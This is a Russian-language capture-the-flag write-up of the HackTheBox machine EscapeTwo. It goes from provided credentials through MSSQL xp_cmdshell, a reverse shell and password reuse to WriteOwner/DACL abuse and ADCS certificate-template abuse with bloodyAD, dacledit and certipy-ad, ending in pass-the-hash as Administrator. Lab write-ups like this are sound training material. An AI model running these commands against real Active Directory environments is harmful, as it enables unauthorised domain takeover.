EscapeTwo HTB Writeup

Описание изображения

HTB machine link:

https://app.hackthebox.com/machines/EscapeTwo

Recon Ссылка на заголовок

Из описания тачки нам уже была предоставлена базовая учетная запись для старта: «Как обычно бывает в реальных пентестах Windows, вы запустите эту машину с учетными данными следующей учетной записи: rose / KxEPkKe6R8su».

Описание изображения

rose
KxEPkKe6R8su

Просканируем открыте порты, тут у нас все стандартно для windows машины

Описание изображения

Начнём с проверки выданной нам учетки на валидность и добавим полученное доменное имя sequel.htb в /etc/hosts/

Описание изображения

Описание изображения

echo "10.10.11.51 sequel.htb" | sudo tee -a /etc/hosts

User flag Ссылка на заголовок

Попробуем базовое перечисление smb

Описание изображения

Можно зайти через smbclient

Описание изображения

Бегая по каталогам, находим интересный нам Accounting Department. Нужно скачать его с помощью команды get, а затем распаковать.

smbclient //10.10.11.51/Accounting\ Department -U rose --option='client min protocol=SMB2'

Описание изображения

Описание изображения

Описание изображения

Внутри будут находиться учетные данные пользователей, которые мы сможем использовать позже.

Описание изображения

Описание изображения

Учетная запись sa является дефолтной админской учёткой для подключения и управления БД MSSQL. Проверка показала, что учетка валидная, попробуем воспользоваться mssqlclient из impacket для входа в систему.

Описание изображения

Отлично, теперь мы - sa!) По умолчанию хранимая процедура xp_cmdshell отключена в MSSQL, но мы можем её включить и пользоваться всеми её преимуществами.

Обязательно обыскиваем хост на предмет чего-то полезного. Например, на нём есть примечательные файлы для развертывания MSSQL.

Описание изображения

Сохраняем SQLSVCPASSWORD, он нам пригодится позже.

Самое полезное, что удаётся сделать - поймать reverse shell на свой прослушиватель. В примере ниже используется PowerShell нагрузка, закодированная в base64.

Описание изображения

На текущий момент мы являемся пользователем sql_svc. У него есть определенные привилегии, например можно запустить winPEAS и быстренько собрать ключевую информацию о системе.

Описание изображения

Описание изображения

Один из интересных моментов - информация о том, что в системе когда-либо были авторизованы всего три пользователя - sql_svc, Administrator и ryan (жаль, что не Гослинг). Не трудно догадаться, что получение прав этого пользователя и будет нашим следующим вектором.

Методом проб и ошибок было определено, что для аутентификацией под пользователем ryan достаточно просто подобрать к нему пароль по списку всех паролей, ранее собранных в системе.

Описание изображения

Таким образом мы получаем возможность аутентифицироваться на сервере под пользователем ryan. На рабочем столе пользователя забираем user flag.

Описание изображения

Root flag Ссылка на заголовок

Далее рассмотрим эксплуатацию списков контроля дискреционного доступа (Discretionary Access Control Lists, DACL) с использованием разрешения WriteOwner. Злоупотребление разрешением WriteOwner может привести к смене владельца объекта на контролируемого злоумышленником пользователя (в данном случае им является ryan) и захвату объекта.

Поиску вектора поспособствовал отчёт bloodhound.

Описание изображения

На схеме чётко видим, что за счёт прав WriteOwner от пользователя ryan можно заабузить учётку ca_svc.

Описание изображения

Ниже перечислены команды, которые помогут нам захватить контроль над ca_svc

Используем bloodyAD для изменения владельца объекта ca_svc на пользователя ryan:

bloodyAD --host {host name} -d {domain name} -u {user} -p {password} set owner ca_svc ryan  

Описание изображения

Далее установим полные права (FullControl) для ryan. Теперь мы сможем от этого пользователя управлять объектом, включая возможность его изменения и удаления.

dacledit.py -action 'write' -rights 'FullControl' -principal '{user}' -target 'ca_svc' '{domain name}'/'{user}':'{password}'  

Следующая команда certipy-ad для автоматического абьюза shadow учетной записи ca_svc. Мы подключается к контроллеру домена по IP-адресу (-dc-ip) и используем указанные учетные данные для аутентификации.

certipy-ad shadow auto -u {user}@{domain} -p '{pass}' -dc-ip {ip} -ns {ip} -target {ip} -account ca_svc 

Описание изображения

Далее ищем уязвимости в целевом хосте с использованием Kerberos аутентификации.

KRB5CCNAME=$PWD/ca_svc.ccache certipy-ad find -scheme ldap -k -debug -target {host name} -dc-ip {ip} -vulnerable -stdout

Описание изображения

Команда ниже создает запрос на получение сертификата с использованием шаблона DunderMifflinAuthentication.

KRB5CCNAME=$PWD/ca_svc.ccache certipy-ad template -k -template DunderMifflinAuthentication -target {host name} -dc-ip {ip}

Описание изображения

Эта команда создает запрос на сертификат для учетной записи ca_svc, используя указанные хеши и шаблон:

certipy-ad req -u ca_svc -hashes :hashes -ca sequel-DC01-CA -target {host} -dc-ip {ip} -template DunderMifflinAuthentication -upn Administrator@{domain} -ns {ip} -dns {ip}  

Описание изображения

Теперь дело за малым - аутентифицируемся с использованием PFX-файла, который был получен шагом ранее:

certipy-ad auth -pfx {some.pfx} -dc-ip {ip}

В замен мы получаем хеш.

Описание изображения

Всё, что остается - воспользоваться evil-winrm и свеженьким хешом администратора. На рабочем столе нас будет ждать root flag.

Описание изображения

@PentestNotes